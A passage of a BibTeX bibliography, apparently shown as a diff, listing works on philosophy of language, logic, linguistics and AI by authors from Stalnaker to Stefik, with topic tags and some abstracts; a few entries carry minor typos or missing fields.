{Counterparts and Identity}, + booktitle = {Studies in Essentialism}, + year = {1987}, + note = {Midwest Studies in Philosophy, 11}, + missinginfo = {editor, publisher, pages, address}, + topic = {individuation;identity;} + } + +@incollection{ stalnaker:1988a, + author = {Robert C. Stalnaker}, + title = {Belief Attribution and Context}, + booktitle = {Contents of Thought}, + publisher = {University of Arizona Press}, + year = {1988}, + editor = {R. Grimm and D. Merrill}, + pages = {140--156}, + address = {Tucson}, + missinginfo = {E's 1st name.}, + topic = {context;belief;philosophy-of-belief;} + } + +@incollection{ stalnaker:1988b, + author = {Robert C. Stalnaker}, + title = {Vague Identity}, + booktitle = {Philosophical Analysis}, + publisher = {Kluwer Academic Publishers}, + year = {1988}, + editor = {David F. Austin}, + pages = {249--360}, + address = {Dordrecht}, + topic = {vagueness;identity;} + } + +@incollection{ stalnaker:1989a, + author = {Robert C. Stalnaker}, + title = {On What's in the Head}, + booktitle = {Philosophical Perspectives 3: + Philosophy of Mind and Action Theory}, + publisher = {Ridgeview Publishing Company}, + year = {1989}, + editor = {James E. Tomberlin}, + pages = {287--316}, + address = {Atasacadero, California}, + note = {Also available at http://www.jstor.org/journals/.}, + topic = {agent-attitudes;philosophy-of-mind;} + } + +@article{ stalnaker:1990a, + author = {Robert C. Stalnaker}, + title = {Possible Worlds and Situations}, + journal = {Journal of Philosophical Logic}, + year = {1990}, + volume = {19}, + number = {1}, + pages = {109--123}, + topic = {situation-theory;possible-worlds-semantics; + philosophy-of-possible-worlds;} + } + +@article{ stalnaker:1990b, + author = {Robert C. Stalnaker}, + title = {Mental Content and Linguistic Form}, + journal = {Philosophical Studies}, + year = {1990}, + volume = {58}, + pages = {129--146}, + missinginfo = {number}, + topic = {foundations-of-semantics;} + } + +@incollection{ stalnaker:1990c, + author = {Robert C. Stalnaker}, + title = {Narrow Content}, + booktitle = {Propositional Attitudes: The Role of Content in Logic, + Language and Mind}, + publisher = {CSLI Press}, + year = {1990}, + editor = {Charles A. Anderson and J. Owens}, + pages = {131--146}, + address = {Stanford, California}, + topic = {propositional-attitudes;philosophy-of-mind;} + } + +@inproceedings{ stalnaker:1990d, + author = {Robert C. Stalnaker}, + title = {Semantics for Conditionals}, + booktitle = {Theoretical Aspects of Reasoning about Knowledge: + Proceedings of the Third Conference ({TARK} 1990)}, + year = {1990}, + editor = {Rohit Parikh}, + pages = {137--138}, + publisher = {Morgan Kaufmann}, + address = {Los Altos, California}, + note = {This is an abstract for a tutorial session.}, + topic = {conditionals;} + } + +@unpublished{ stalnaker:1990e, + author = {Robert C. Stalnaker}, + title = {Notes on Conditional Semantics}, + year = {1990}, + note = {Unpublished manuscript, Philosophy Department, Massachusetts + Institute of Technology}, + topic = {conditionals;} + } + +@incollection{ stalnaker:1991a, + author = {Robert C. Stalnaker}, + title = {How to Do Semantics for the Language of Thought}, + booktitle = {Meaning in Mind: {F}odor and his Critics}, + publisher = {Blackwell Publishers}, + year = {1991}, + editor = {Barry Loewer and Georges Rey}, + address = {Oxford}, + missinginfo = {pages}, + topic = {cognitive-semantics;foundations-of-semantics;mental-language;} + } + +@article{ stalnaker:1991b, + author = {Robert C. Stalnaker}, + title = {The Problem of Logical Omniscience, {I}}, + journal = {Synth\'ese}, + year = {1991}, + volume = {85}, + pages = {425--440}, + missinginfo = {number}, + topic = {hyperintensionalithy;epistemic-logic;} + } + +@incollection{ stalnaker:1992a, + author = {Robert C. Stalnaker}, + title = {Notes on Conditional Semantics}, + booktitle = {Theoretical Aspects of Reasoning about Knowledge: + Proceedings of the Fourth Conference ({TARK} 1992)}, + publisher = {Morgan Kaufmann}, + year = {1992}, + editor = {Yoram Moses}, + pages = {316--327}, + address = {San Francisco}, + topic = {conditionals;} + } + +@article{ stalnaker:1993a, + author = {Robert C. Stalnaker}, + title = {Twin {E}arth Revisited}, + journal = {Proceedings of the {A}ristotelian Society}, + year = {1993}, + volume = {93}, + note = {Supplementary Series.}, + pages = {297--311}, + topic = {reference;philosophy-of-language;twin-earth;} + } + +@unpublished{ stalnaker:1993b, + author = {Robert C. Stalnaker}, + title = {Narrow Context}, + year = {1993}, + note = {Unpublished manuscript, Philosophy Department, Massachusetts + Institute of Technology.}, + missinginfo = {Year is a guess.}, + topic = {wide/narrow-attitudes;philosophy-of-mind;} + } + +@article{ stalnaker:1993c, + author = {Robert C. Stalnaker}, + title = {A Note on Non-Monotonic Modal Logic}, + journal = {Artificial Intelligence}, + year = {1993}, + volume = {64}, + number = {2}, + pages = {183--196}, + note = {Widely circulated in manuscipt form, 1980 to 1992.}, + topic = {nonmonotonic-logic;nonmonotonic-reasoning; + foundations-of-nonmonotonic-logic;autoepistemic-logic;} + } + +@inproceedings{ stalnaker:1994a, + author = {Robert C. Stalnaker}, + title = {Knowledge, Belief, and Counterfactual Reasoning in Games}, + booktitle = {Proceedings of the Second Castiglioncello Conference}, + year = {1994}, + publisher = {Cambridge University Press}, + editor = {Cristina Biccieri and Brian Skyrms}, + address = {Cambridge}, + missinginfo = {pages}, + topic = {game-theory; counterfactuals;Nash-equilibria;} + } + +@article{ stalnaker:1994b, + author = {Robert C. Stalnaker}, + title = {What is a Non-Monotonic Consequence Relation?}, + journal = {Fundamenta Informaticae}, + year = {1994}, + volume = {21}, + pages = {7--21}, + missinginfo = {number}, + topic = {nonmonotonic-logic;nonmonotonic-reasoning; + foundations-of-nonmonotonic-logic;} + } + +@incollection{ stalnaker:1994c, + author = {Robert C. Stalnaker}, + title = {Letter to {B}rian {S}kyrms}, + booktitle = {Probability and Conditionals: Belief Revision and Rational + Decision}, + publisher = {Cambridge University Press}, + year = {1994}, + pages = {27--29}, + editor = {Ellery Eells and Brian Skyrms}, + address = {Cambridge, England}, + topic = {probability;conditionals;} + } + +@incollection{ stalnaker-jeffrey:1994a, + author = {Robert C. Stalnaker and Richard Jeffrey}, + title = {Conditionals as Random Variables}, + booktitle = {Probability and Conditionals: Belief Revision and Rational + Decision}, + publisher = {Cambridge University Press}, + year = {1994}, + pages = {31--46}, + editor = {Ellery Eells and Brian Skyrms}, + address = {Cambridge, England}, + topic = {probability;conditionals;CCCP;} + } + +@unpublished{ stalnaker:1995a, + author = {Robert C. Stalnaker}, + title = {An Autoepistemic Language Game}, + year = {1985}, + note = {Unpublished manuscript, Department of Linguistics and + Philosophy, {MIT}, Cambridge, MA 02139.}, + missinginfo = {Year is a guess.}, + topic = {autoepistemic-logic;nonmonotonic-reasoning;} + } + +@incollection{ stalnaker:1996a, + author = {Robert C. Stalnaker}, + title = {Varieties of Supervenience}, + booktitle = {Philosophical Perspectives 10: Metaphysics, 1996}, + publisher = {Blackwell Publishers}, + year = {1996}, + editor = {James E. Tomberlin}, + pages = {221--241}, + address = {Oxford}, + topic = {supervenience;} + } + +@unpublished{ stalnaker:1996b, + author = {Robert C. Stalnaker}, + title = {Knowledge, Belief and Counterfactual Reasoning in Games}, + year = {1996}, + note = {Unpublished manuscript, Philosophy Department, Massachusetts + Institute of Technology.}, + topic = {game-theory;conditionals;} + } + +@article{ stalnaker:1998a, + author = {Robert Stalnaker}, + title = {On the Representation of Context}, + journal = {Journal of Logic, Language, and Information}, + year = {1998}, + volume = {7}, + number = {1}, + pages = {3--19}, + topic = {context;pragmatics;} + } + +@book{ stalnaker:1999a, + author = {Robert C. Stalnaker}, + title = {Context and Content: Essays on Intensionality + Speech and Thought}, + publisher = {Oxford University Press}, + year = {1999}, + address = {Oxford}, + contentnote = {TC: + 1. "Pragmatics" + 2. "Pragmatic Presuppositions" + 3. "Indicative Conditionals" + 4. "Assertion" + 5. "On the Representation of Context" + 6. "Semantics for Belief" + 7. "Indexical Belief" + 8. "Belief Attribution and Context" + 9. "On What's in the Head" + 10. "Narrow Content" + 11. "Twin Earth Revisited" + 12. "Mental Content and Linguistic Form" + 13. "The Problem of Logical Omniscience, I" + 14. "The Problem of Logical Omniscience, II" + }, + ISBN = {0-19-823708-1 (hardback), 0-19-823707-3 (paperback)}, + topic = {pragmatics;conditionals;philosophy-of-language; + philosophy-of-mind;hyperintensionality;} + } + +@article{ stamatatos-etal:2000a, + author = {Efstathios Stamatatos and Nikos Fakotakis and + George Kokkinakis}, + title = {Automatic Text Categorization in Terms of Genre + and Author}, + journal = {Computational Linguistics}, + year = {2000}, + volume = {26}, + number = {2}, + pages = {471--495}, + topic = {document-classification;genre-detection;} + } + +@article{ stampe:1968a, + author = {Dennis Stampe}, + title = {Toward a Grammar of Meaning}, + journal = {The Philosophical Review}, + year = {1968}, + volume = {137--173}, + missinginfo = {number}, + topic = {speaker-meaning;pragmatics;} + } + +@incollection{ stampe:1978a, + author = {Dennis W. Stampe}, + title = {Toward a Causal Theory of Linguistic Representation}, + booktitle = {Contemporary Perspectives in the Philosophy of Language}, + publisher = {University of Minnesota Press}, + year = {1978}, + editor = {Peter A. French and Theodore E. {Uehling, Jr.} and Howard + K. Wettstein}, + pages = {81--103}, + address = {Minneapolis}, + topic = {reference-philosophy-of-language;} + } + +@incollection{ stampe:1986a, + author = {Dennis W. Stampe}, + title = {Defining Desire}, + booktitle = {The Ways of Desire: New Essays in Philosophical + Psychology on the Concept of Wanting}, + publisher = {Precedent Publishing, Inc.}, + year = {1986}, + editor = {Joel Marks}, + pages = {149--173}, + address = {Chicago}, + topic = {desire;philosophical-psychology;} + } + +@article{ stanley:1993a, + author = {Jason Stanley}, + title = {Truth and Metatheory in {F}rege}, + journal = {Pacific Philosophical Quarterly}, + year = {1993}, + volume = {77}, + pages = {45--70}, + missinginfo = {number}, + topic = {Frege;truth;} + } + +@article{ stanley:1993b, + author = {Jason Stanley}, + title = {Reply to {H}intikka and {S}andu: {F}rege + and Second-Order Logic}, + journal = {Journal of Philosophy}, + year = {1993}, + volume = {77}, + pages = {416--424}, + missinginfo = {number}, + topic = {Frege;higher-order-logic;} + } + +@incollection{ stanley:1997a, + author = {Jason Stanley}, + title = {Names and Rigid Designation}, + booktitle = {A Companion to the Philosophy of Language}, + publisher = {Blackwell}, + year = {1997}, + editor = {Bob Hale and Crispin Wright}, + pages = {555--583}, + address = {Oxford}, + topic = {proper-names;individuation;} + } + +@incollection{ stanley:1997b, + author = {Jason Stanley}, + title = {Rigidity and Content}, + booktitle = {Language, Thought, and Logic: Essays in Honour + of {M}ichael {D}ummett}, + publisher = {Oxford University Press}, + year = {1997}, + editor = {Richardd G. {Heck, Jr.}}, + pages = {131--156}, + address = {Oxford}, + topic = {semantics-of-proper-names;} + } + +@article{ stanley-szabo:1999a, + author = {Jason Stanley and Zolt{\'a}n Gendler Szab{\'o}}, + title = {On Quantifier Domain Restriction}, + journal = {Mind and Language}, + year = {2000}, + volume = {15}, + pages = {219--261}, + topic = {nl-quantifiers;common-nouns;context;} + } + +@article{ stanley:2000a, + author = {Jason Stanley}, + title = {Context and Logical Form}, + journal = {Linguistics and Philosophy}, + year = {2000}, + volume = {23}, + number = {4}, + pages = {391--434}, + topic = {context;nl-semantics;LF;} + } + +@article{ stanley-williamson:2001a, + author = {Jason Stanley and Timothy Williamson}, + title = {Knowing How}, + journal = {The Journal of Philosophy}, + year = {2001}, + volume = {98}, + number = {5}, + pages = {411--444}, + xref = {Commentary: schiffer:2002a.}, + topic = {knowing-how;} + } + +@article{ starbuck-milliken:1988a, + author = {W. Starbuck and F. Milliken}, + title = {Challenger: Fine-Tuning the Odds Until Something Breaks}, + journal = {Journal of Management Studies}, + year = {1988}, + volume = {25}, + pages = {319--340}, + missinginfo = {A's 1st name, number}, + topic = {decision-making;rationality;} + } + +@article{ stark_ca:2000a, + author = {Cynthia A. Stark}, + title = {Hypothetical Consent and Justification}, + journal = {The Journal of Philosophy}, + year = {2000}, + volume = {97}, + number = {6}, + pages = {313--334}, + topic = {social-contract-theory;hypothetical-attitudes;} + } + +@article{ stark_wr:1981a, + author = {W.R. Stark}, + title = {A Logic of Knowledge}, + journal = {Zeitschrift f\"{u}r Mathematische Logik und Grundlagen der + Mathematik}, + year = {1981}, + volume = {27}, + pages = {371--374}, + missinginfo = {A's 1st name, number}, + topic = {epistemic-logic;} + } + +@incollection{ staude:1986a, + author = {Mitchell Staude}, + title = {Wanting, Desiring, and Valuing: The Case against + Conativism}, + booktitle = {The Ways of Desire: New Essays in Philosophical + Psychology on the Concept of Wanting}, + publisher = {Precedent Publishing, Inc.}, + year = {1986}, + editor = {Joel Marks}, + pages = {175--195}, + address = {Chicago}, + topic = {desire;philosophical-psychology;} + } + +@article{ stdenis-grim:1997a, + author = {Paul St. Denis and Patrick Grim}, + title = {Fractal Images of Formal Systems}, + journal = {Journal of Philosophical Logic}, + year = {1997}, + volume = {26}, + number = {2}, + pages = {181--222}, + topic = {visual-reasoning;foundations-of-logic;fractals;} + } + +@article{ stede:1998a, + author = {Manfred Stede}, + title = {A Generative Perspective on Verb Alternations}, + journal = {Computational Linguistics}, + year = {1998}, + volume = {24}, + number = {3}, + pages = {401--430}, + topic = {nl-generation;transitivity-alternations;} + } + +@book{ stede-etal:1998a, + editor = {Manfred Stede and Leo Wanner and Eduard Hovy}, + title = {Discourse Relations and Discourse Markers: Proceedings + of the Conference}, + publisher = {Association for Computational Linguistics}, + year = {1998}, + address = {Somerset, New Jersey}, + contentnote = {TC: + 1. Daniel Marcu, "A Surface-Based Approach to Identifying + Discourse-Markers and Elementary Textual Units" + 2. Simon H. Corston-Oliver, "Identifying the Linguistic + Correlates of Rhetorical Relations" + 3. Jill Burstein and Karen Kukich and Susanne Wolff and Chi Lu + and Martin Chodorow, "Enriching Automated Essay + Scoring Using Discourse Marking" + 4. Brigitte Grote, "Representing Temporal Discourse Markers + for Generation Purposes" + 5. Liesbeth Degand, "On Classifying Connectives and Coherence + Relations" + 6. Claudia Soria and Giacomo Ferrari, "Lexical Marking of + Discourse Relations---Some Experimental Findings" + 7. Simone Teufel, "Meta-Discourse Markers and + Problem-Structuring in Scientific Texts" + 8. Laurence Danlos, "Linguistic Ways for Expressing a Discourse + Relation in a Lexicalized Text Generation System" + 9. Alisdair Knott, "Similarity and Context Relations and + Inductive Rules" + 10. Frank Schilder, "Temporal Discourse Markers and the Flow + of Events" + 11. Nigel Ward, "Some Exotic Discourse Markers of Spoken + Dialog" + 12. Kathleen Dahlgren, "Lexical Marking and the Recovery + of Discourse Structure" + 13. Jacques Jayez and Corinne Rossari, "Discourse Relations + Versus Discourse Marker Relations" + 14. Marie-Paule P\'ery-Woodley, "Signalling in Written + Text: A Corpus-Based Approach" + 15. Bonnie Lynn Webber and Aravind Joshi, "Anchoring a + Lexicalized Tree-Adjoining Grammar for Discourse" + 16. Masahito Kawamori and Takeshi Kawabata and Akira + Shimazu, "Discourse Markers in Spontaneous Dialogue: + A Corpus-Based Study of {J}apanese and {E}nglish" + 17. Yukiko I. Nakano and Tsuneaki Kato, "Cue Phrase Selection + in Instruction Dialogue Using Machine Learning" + 18. Kerstin Fischer and Hans Brandt-Pook, "Cue Phrase + Selection in Instruction Dialogue Using Machine + Learning" + 19. Daniel Jerafsky and Elizabeth Shriberg and Barbara Fox + and Traci Curl, "Lexical, Prosodic, and Syntactic + Cues for Dialog Acts" + }, + topic = {discourse-cue-words;discourse-structure;} + } + +@book{ stede:1999a, + author = {Manfred Stede}, + title = {Lexical Semantics and Knowledge Representation in + Multilingual Text Generation}, + publisher = {Kluwer Academic Publishers}, + year = {1999}, + address = {Dordrecht}, + ISBN = {0-7923-8419-9}, + xref = {Review: dieugenio:2000a.Review: .}, + topic = {nl-kr;lexical-semantics;computational-semantics;nl-generation; + multilingual-nlp;multilingual-lexicons;} + } + +@article{ stede:2000a, + author = {Manfred Stede}, + title = {Review of {\it Predicative Forms in Natural Language and + in Lexical Knowledge Bases}, by {P}atrick {S}aint-{D}izier}, + journal = {Computational Linguistics}, + year = {2000}, + volume = {26}, + number = {2}, + pages = {267--269}, + xref = {Review of: stede:1999a.}, + topic = {predication;lexical-semantics;} + } + +@incollection{ stedmon:1985a, + author = {J.A. Stedmon}, + title = {More Than 'All'? Children's Problems with Plural + Judgements}, + booktitle = {Reasoning and Discourse Processes}, + publisher = {Academic Press}, + year = {1985}, + editor = {Terry Myers and Keith Brown and Brendan McGonigle}, + pages = {117--139}, + address = {New York}, + topic = {pragmatic-reasoning;plural;developmental-psychology;} + } + +@incollection{ steedman:1981a, + author = {Mark Steedman}, + title = {Parsing Spoken Language Using Combinatory + Grammars}, + booktitle = {Current Issues in Parsing Technology}, + publisher = {Kluwer Academic Publishers}, + year = {1981}, + editor = {Masaru Tomita}, + pages = {113--126}, + address = {Dordrecht}, + topic = {parsing-algorithms;combinatory-grammar;} + } + +@article{ steedman:1985a, + author = {Mark Steedman}, + title = {{LFG} and Psychological Explanation}, + journal = {Linguistics and Philosophy}, + year = {1985}, + volume = {8}, + number = {3}, + pages = {359--385}, + topic = {LFG;parsing-psychology;} + } + +@inproceedings{ steedman-moens:1987a, + author = {Mark Steedman and Marc Moens}, + title = {Temporal Ontology in Natural Language}, + booktitle = {Proceedings of the 25th Annual Conference of + the Association for Computational Linguistics}, + year = {1987}, + pages = {1--7}, + publisher = {Association for Computational Linguistics}, + topic = {events;aktionsarten;kr-course;} + } + +@article{ steedman:1990a, + author = {Mark J. Steedman}, + title = {Gapping as Constituent Coordination}, + journal = {Linguistics and Philosophy}, + year = {1990}, + volume = {13}, + number = {2}, + pages = {207--263}, + topic = {categorial-grammar;coordination;} + } + +@unpublished{ steedman:1991a, + author = {Mark Steedman}, + title = {Surface Structure}, + year = {1991}, + note = {Unpublished MS, University of Pennsylvania.}, + topic = {nl-syntax;surface-structure;} + } + +@article{ steedman:1991b, + author = {Mark Steedman}, + title = {Structure and Intonation}, + journal = {Language}, + year = {1991}, + volume = {67}, + pages = {260--296}, + missinginfo = {number}, + topic = {intonation;discourse;surface-structure;pragmatics;} + } + +@techreport{ steedman:1991c, + author = {Mark Steedman}, + title = {Type-Raising and Directionality in Combinatory Grammar}, + institution = {Department of Computer and Information Science, + University of Pennsylvania}, + number = {MS--CIS--91--11}, + year = {1991}, + address = {Philadelphia}, + topic = {categorial-grammar;} + } + +@article{ steedman:1992a, + author = {Mark Steedman}, + title = {Structure and Intonation}, + journal = {Language}, + year = {1991}, + volume = {67}, + pages = {260--296}, + topic = {intonation;cagegorial-grammar;} + } + +@incollection{ steedman:1993a, + author = {Mark Steedman}, + title = {Surface Structure, Intonation, and Discourse Meaning}, + booktitle = {Challenges in Natural Language Processing}, + publisher = {Cambridge University Press}, + year = {1993}, + editor = {Madeleine Bates and Ralph Weischedel}, + pages = {228--253}, + address = {Cambridge, England}, + topic = {intonation;discourse;pragmatics;} + } + +@article{ steedman:1994a, + author = {Mark Steedman}, + title = {The Well-Tempered Computer}, + journal = {Philosophical Transactions of the Royal Society, Series A: + Physical Sciences and Engineering}, + year = {1994}, + volume = {349}, + number = {1689}, + pages = {5--130}, + note = {Available at http://www.jstor.org/journals/09628428.html}, + topic = {AI-and-music;} + } + +@inproceedings{ steedman:1995a, + author = {Mark Steedman}, + title = {Dynamic Semantics for Tense and Aspect}, + booktitle = {Proceedings of the Fourteenth International Joint + Conference on Artificial Intelligence}, + year = {1995}, + editor = {Chris Mellish}, + pages = {1292--1298}, + publisher = {Morgan Kaufmann}, + address = {San Francisco}, + topic = {tense-aspect;temporal-logic;dynamic-logic;} + } + +@book{ steedman:1997a, + author = {Mark Steedman}, + title = {Surface Structure and Interpretation}, + publisher = {The {MIT} Press}, + year = {1997}, + address = {Cambridge, Massachusetts}, + xref = {Review: creaney:1998a.}, + title = {The Productions of Time}, + year = {1998}, + note = {Unpublished manuscript, University of Edinburgh. Available + from http://www.cogsci.ed.ac.uk/\user{}steedman/papers.html.}, + topic = {temporal-reasoning;temporal-logic;Aktionsarten; + frame-problem;Yale-shooting-problem;} + } + +@book{ steedman:2000a, + author = {Mark Steedman}, + title = {The Syntactic Process}, + publisher = {The {MIT} Press}, + year = {2000}, + address = {Cambridge, Massachusetts}, + ISBN = {0-262-19420-1}, + xref = {Review: nivre:2001a.}, + topic = {nl-syntax;nl-semantics;categoriaal-grammar;nl-processing; + nl-quantifiers;nl-quantifier-scope;intonation;} + } + +@article{ steedman:2000b, + author = {Mark Steedman}, + title = {Information Structure and the Syntax-Phonology Interface}, + journal = {Linguistic Inquiry}, + year = {2000}, + volume = {31}, + number = {4}, + pages = {649--689}, + topic = {categorial-grammar;intonation;focus;} + } + +@incollection{ steele-powers:1998a, + author = {Robert Steele and David Powers}, + title = {Evolution and Evaluation of Document Retrieval + Properties}, + booktitle = {Proceedings of the Joint Conference on New Methods in + Language Processing and Computational Language Learning}, + publisher = {Association for Computational Linguistics}, + year = {1998}, + editor = {Jill Burstein and Claudia Leacock}, + pages = {163--164}, + address = {Somerset, New Jersey}, + topic = {information-retrieval;} + } + +@book{ steele_g:1990a, + author = {Guy {Steele, Jr.}}, + title = {Common {\sc lisp:} The Language}, + publisher = {Digital Press}, + year = {1990}, + address = {Bedford, Massacusetts}, + edition = {2nd}, + topic = {programming-languages;LISP;} + } + +@book{ steels-brooks_ra:1995a, + editor = {Luc Steels and Rodney Brooks}, + title = {The Artificial Life Route to Artificial Intelligence: + Building Embodied, Situated Agents}, + publisher = {Lawrence Erlbaum Associates}, + year = {1995}, + address = {Mahwah, New Jersey}, + topic = {robotics;artificial-life;} + } + +@article{ steels:1998a, + author = {Luc Steels}, + title = {The Origins of Syntax in Visually Grounded Robotic Agents}, + journal = {Artificial Intelligence}, + year = {1998}, + volume = {103}, + number = {1--2}, + pages = {133--156}, + topic = {machine-language-learning;minimalist-robotics;} + } + +@article{ steenburgh:1965a, + author = {E.W. van Steenburgh}, + title = {Metaphor}, + journal = {The Journal of Philosophy}, + year = {1965}, + volume = {62}, + number = {22}, + pages = {678--688}, + topic = {metaphor;} + } + +@book{ steffans:1996a, + editor = {Petra Steffans}, + title = {Machine Translation and the Lexicon}, + publisher = {Springer-Verlag}, + year = {1996}, + address = {Berlin}, + xref = {Review: mani:1996a.}, + topic = {machine-translation;computational-lexicography;} + } + +@article{ stefik:1978a, + author = {Mark Stefik}, + title = {Inferring {DNA} Structures from Segmentation Data}, + journal = {Artificial Intelligence}, + year = {1978}, + volume = {11}, + number = {1--2}, + pages = {85--114}, + topic = {computer-assisted-science;computer-assisted-genetics;} + } + +@article{ stefik:1979a1, + author = {Mark Stefik}, + title = {Planning and Meta-Planning}, + journal = {Artificial Intelligence}, + year = {1979}, + volume = {16}, + number = {2}, + pages = {141--170}, + missinginfo = {A's 1st name, number}, + xref = {Republication: stefik:1979a2.}, + topic = {plan-algorithms;metareasoning;} + } + +@incollection{ stefik:1979a2, + author = {Mark Stefik}, + title = {Planning and Meta-Planning}, + booktitle = {Readings in Artificial Intelligence}, + publisher = {Morgan Kaufmann}, + year = {1981}, + editor = {Bonnie Webber and Nils J. Nilsson}, + pages = {272--288}, + address = {Los Altos, California}, + xref = {Journal Publication: stefik:1979a1.}, + topic = {plan-algorithms;metareasoning;} + } + +@article{ stefik:1981a, + author = {Mark Stefik}, + title = {Planning with Constraints ({MOLGEN}: Part 1)}, + journal = {Artificial Intelligence}, + year = {1981}, + volume = {16}, + number = {2}, + pages = {111--140}, + acontentnote = {Abstract: + Hierarchical planners distinguish between important + considerations and detail's. A hierarchical planner creates + descriptions of abstract states and divides its planning task + into subproblems for refining the abstract states. The abstract + states enable it to focus on important considerations, thereby + avoiding the burden of trying to deal with everything at once. + In most practical planning problems, however, the subproblems + interact. Without the ability to handle these interactions, + hierarchical planners can deal effectively only with idealized + cases where subproblems are independent and can be solved + separately. + This paper presents an approach to hierarchical planning, + termed constraint posting, that uses constraints to represent + the interactions between subproblems. Constraints are + dynamically formulated and propagated during hierarchical + planning, and used to coordinate the solutions of nearly + independent subproblems. This is illustrated with a computer + program, called MOLGEN, that plans gene-cloning experiments in + molecular genetics.}, + topic = {planning;hierarchical-planning;computer-assisted-science;} + } + +@article{ stefik:1981b, + author = {Mark Stefik}, + title = {Planning and Meta-Planning ({MOLGEN}: Part 2)}, + journal = {Artificial Intelligence}, + year = {1981}, + volume = {16}, + number = {2}, + pages = {141--170}, + acontentnote = {Abstract: + The selection of what to do next is often the hardest part of + resource-limited problem solving. In planning problems, there + are typically many goals to be achieved in some order. The goals + interact with each other in ways which depend both on the order + in which they are achieved and on the particular operators which + are used to achieve them. A planning program needs to keep its + options open because decisions about one part of a plan are + likely to have consequences for another part. + This paper describes an approach to planning which integrates + and extends two strategies termed the least-commitment and the + heuristic strategies. By integrating these, the approach makes + sense of the need for guessing; it resorts to plausible + reasoning to compensate for the limitations of its knowledge + base. The decision-making knowledge is organized in a layered + control structure which separates decisions about the planning + problem from decisions about the planning process. The approach, + termed meta-planning, exposes and organizes a variety of + decisions, which are usually made implicitly and sub-optimally + in planning programs with rigid control structures. This is part + of a course of research which seeks to enhance the power of a + problem solvers by enabling them to reason about their own + reasoning processes. + Meta-planning has been implemented and exercised in a + knowledge-based program (named MOLGEN) that plans gene cloning + experiments in molecular genetics. } , + topic = {planning;metaplanning;computer-assisted-science;} + } + +@article{ stefik-etal:1982a, + author = {Mark Stefik and Jan Aikins and Robert Balzer and John + Benoit and Lawrence Birnbaum and Frederick Hayes-Roth and + Earl Sacerdoti}, + title = {The Organization of Expert Systems: A Tutorial}, + journal = {Artificial Intelligence}, + year = {1982}, + volume = {18}, + number = {2}, + pages = {135--173}, + acontentnote = {Abstract: + This is a tutorial about the organization of expert + problem-solving programs. We begin with a restricted class of + problems that admits a very simple organization. To make this + organization feasible it is required that the input data be + static and reliable and that the solution space be small enough + to search exhaustively. These assumptions are then relaxed, one + at a time, in case study of ten more sophisticated + organizational prescriptions. The first cases give techniques + for dealing with unreliable data and time-varying data. Other + cases show techniques for creating and reasoning with abstract + solution spaces and using multiple lines of reasoning. The + prescriptions are compared for their coverage and illustrated by + examples from recent expert systems. + } , + topic = {expert-systems;} + } + +@article{ stefik:1984a, + author = {Mark Stefik}, + title = {Review of {\it The Sciences of the Artificial}, + 2nd Ed., by {H}erbert {A}. {S}imon}, + journal = {Artificial Intelligence}, + year = {1984}, + volume = {22}, + number = {1}, + pages = {95--97}, + xref = {Review of simon_ha:1996b.}, + topic = {AI-classics;foundations-of-cognitive-science;} + } + +@article{ stefik:1984b, + author = {Mark Stefik}, + title = {Review of {\it The Fifth Generation: Artificial + Intelligence and {J}apan's Computer Challenge to the World}, + by {E}.{A}. {F}eigenbaum and {P}. {M}c{C}orduck}, + journal = {Artificial Intelligence}, + year = {1984}, + volume = {22}, + number = {2}, + pages = {219--222}, + xref = {Review of feigenbaum-mccorduck:1983a.}, + topic = {popular-cs;cs-journalism;} + } + +@article{ stefik:1985a, + author = {Mark J. Stefik}, + title = {Review of {\it Machine Learning: An Artificial + Intelligence Approach } , by {R}.{S}. {M}ichalski, {J}aime {G}. + {C}arbonell and {T}.{M}. {M}itchell}, + journal = {Artificial Intelligence}, + year = {1985}, + volume = {25}, + number = {2}, + pages = {236--238}, + xref = {Review of michalski-etal:1983a.}, + topic = {machine-learning;} + } + +@article{ stefik:1985b, + author = {Mark J. Stefik}, + title = {Review of {\it Minds, Machines, and Evolution}, by C. + Hookway}, + journal = {Artificial Intelligence}, + year = {1985}, + volume = {27}, + number = {2}, + pages = {237--245}, + xref = {Review of hookway:1984a.}, + topic = {evolution;philosophy-of-mind;philosophy-of-language;} + } + +@article{ stefik:1985c, + author = {Mark Stefik}, + title = {Review of {\it Intelligent Tutoring Systems}, by {D}erek {H}. + {S}leeman and {J}ohn {S}. {B}rown}, + journal = {Artificial Intelligence}, + year = {1985}, + volume = {26}, + number = {2}, + pages = {238--245}, + xref = {Review of sleeman-brown_jh:1982a.}, + topic = {intelligent-tutoring;} + } + +@article{ stefik-bobrow:1986a, + author = {Mark Stefik and Daniel G. Bobrow}, + title = {Object-Oriented Programming: Themes and Variations}, + journal = {AI Magazine}, + year = {1986}, + volume = {6}, + number = {4}, + pages = {40--62}, + topic = {object-oriented-programming;} + } + +@article{ stefik:1989a, + author = {Mark Stefik}, + title = {Review of {\it Computation and Cognition: + Toward a Foundation of Cognitive Science}, by {Z}.{W}. + {P}ylyshyn}, + journal = {Artificial Intelligence}, + year = {1989}, + volume = {38}, + number = {2}, + pages = {241--247}, + xref = {Review of pylyshyn:1984a.}, + topic = {philosophy-of-linguistics;competence;philosophy-of-cogsci; + foundations-of-cognitive-science;} + } + +@article{ stefik-etal:1993a, + author = {Mark J. Stefik and Jan S. Aikins and Robert Balzer + and John Benoit and Lawrence Birnbaum and Frederic + Hayes-Roth and Earl D. Sacerdoti}, + title = {Retrospective on `The Organization of Expert Systems, + A Tutorial'$\,$}, + journal = {Artificial Intelligence}, + year = {1993}, + volume = {59}, + number = {1--2}, + pages = {221--224}, + topic = {expert-systems;knowledge-engineering;} + } + +@article{ stefik-smoliar:1993a, + author = {Mark J. Stefik and Stephen W. Smoliar}, + title = {Eight reviews of `Unified Theories of + Cognition' and a Response}, + journal = {Artificial Intelligence}, + year = {1993}, + volume = {59}, + number = {1--2}, + pages = {261--263}, + xref = {Review of newell:1992a.}, + topic = {SOAR;cognitive-architectures;} + } + +@book{ stefik:1995a, + author = {Mark J. Stefik}, + title = {An Introduction to Knowledge Systems}, + publisher = {Morgan Kaufmann}, + year = {1995}, + address = {San Francisco}, + topic = {kr;AI-intro;expert-systems;kr-course;} +} + +@book{ stefik:1996a, + author = {Mark J. Stefik}, + title = {Internet Dreams}, + publisher = {The {MIT} Press}, + year = {1996}, + address = {Cambridge, Massachusetts}, + topic = {internet-general;} +} + +@article{ stefik-smoliar:1996a, + author = {Mark J. Stefik and Stephen Smoliar}, + title = {{\it What Computers Still Can't Do:} Five Reviews and + a Response}, + journal = {Artificial Intelligence}, + year = {1996}, + volume = {80}, + number = {1}, + pages = {95--97}, + topic = {philosophy-AI;} + } + +@incollection{ 